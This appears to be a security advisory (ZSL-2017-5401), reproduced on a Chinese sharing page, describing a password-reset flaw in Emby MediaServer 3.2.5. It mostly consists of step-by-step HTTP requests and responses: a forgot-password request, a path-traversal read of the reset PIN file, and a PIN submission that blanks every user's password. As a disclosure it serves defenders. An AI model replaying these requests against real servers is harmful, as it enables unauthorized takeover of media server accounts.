扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 |
Emby MediaServer 3.2.5 Password Reset Vulnerability Vendor: Emby LLC Product web page: https://www.emby.media Affected version: 3.2.5 3.1.5 3.1.2 3.1.1 3.1.0 3.0.0 Summary: Emby (formerly Media Browser) is a media server designed to organize, play, and stream audio and video to a variety of devices. Emby is open-source, and uses a client-server model. Two comparable media servers are Plex and Windows Media Center. Desc: The issue can be triggered by an unauthenticated actor within the home network (LAN) only. The attacker doesn't need to specify a valid username to reset the password. He or she can enter a random string, and using the file disclosure issue it's possible to read the PIN needed for resetting. This in turn will disclose all the valid usernames in the emby server and reset all the passwords for all the users with a blank password. Attackers can exploit this to gain unauthenticated and unauthorized access to the emby media server management interface. Tested on: Microsoft Windows 7 Professional SP1 (EN) Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50 Ubuntu Linux 14.04.5 MacOS Sierra 10.12.3 SQLite3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5401 Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5401.php SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098 22.12.2016 -- 1. First we initiate the Forgot Password feature from within our home network: ------------------------------------------------------------------------------ http://10.211.55.3:8096/web/forgotpassword.html 2. Then, we type any random username and hit submit: ---------------------------------------------------- POST /emby/Users/ForgotPassword HTTP/1.1 Host: 10.211.55.3:8096 Connection: keep-alive Content-Length: 32 accept: application/json Origin: http://10.211.55.3:8096 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome", DeviceId="3848bd099140288b429e5189456c7354b531fc6b", Version="3.2.5.0" content-type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://10.211.55.3:8096/web/forgotpassword.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8,mk;q=0.6 DNT: 1 EnteredUsername=RandomusUsuarius 3. You will get an alert message (Windows/Linux): ------------------------------------------------- The following file has been created on your server and contains instructions on how to proceed: C:\Users\lqwrm\AppData\Roaming\\Emby-Server\passwordreset.txt -- OR -- /var/lib/emby-server/passwordreset.txt 4. Exploiting the file disclosure vulnerability (ZSL-2017-5403): ---------------------------------------------------------------- GET /emby/swagger-ui/..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\lqwrm\AppData\Roaming\Emby-Server\passwordreset.txt HTTP/1.1 Host: 10.211.55.3:8096 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Connection: close HTTP/1.1 200 OK X-UA-Compatible: IE=Edge Access-Control-Allow-Headers: Content-Type, Authorization, Range, X-MediaBrowser-Token, X-Emby-Authorization Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS Access-Control-Allow-Origin: * Vary: Accept-Encoding ETag: "c4fd834ac2fc99ff99d74c8e994a8a71" Cache-Control: public Expires: -1 Server: Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50 Content-Type: text/plain Date: Tue, 28 Feb 2017 12:14:51 GMT Content-Length: 164 Connection: close Use your web browser to visit: http://10.211.55.3:8096/web/forgotpasswordpin.html Enter the following pin code: 6727 The pin code will expire at 91 5. Following the instructions, entering the PIN, results in resetting all the passwords for all the emby users on the system: ----------------------------------------------------------------------------------------------------------------------------- POST /emby/Users/ForgotPassword/Pin HTTP/1.1 Host: 10.211.55.3:8096 Connection: keep-alive Content-Length: 9 accept: application/json Origin: http://10.211.55.3:8096 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome", DeviceId="3848bd099140288b429e5189456c7354b531fc6b", Version="3.2.5.0" content-type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://10.211.55.3:8096/web/forgotpasswordpin.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8,mk;q=0.6 DNT: 1 Pin=6272 --- We get the message: Passwords have been removed for the following users. To login, sign in with a blank password. testingus test321 beebee admin ztefan lio miko dni embyusertest joxypoxy test123 thricer teppei admin2 delf1na |
体验盒子
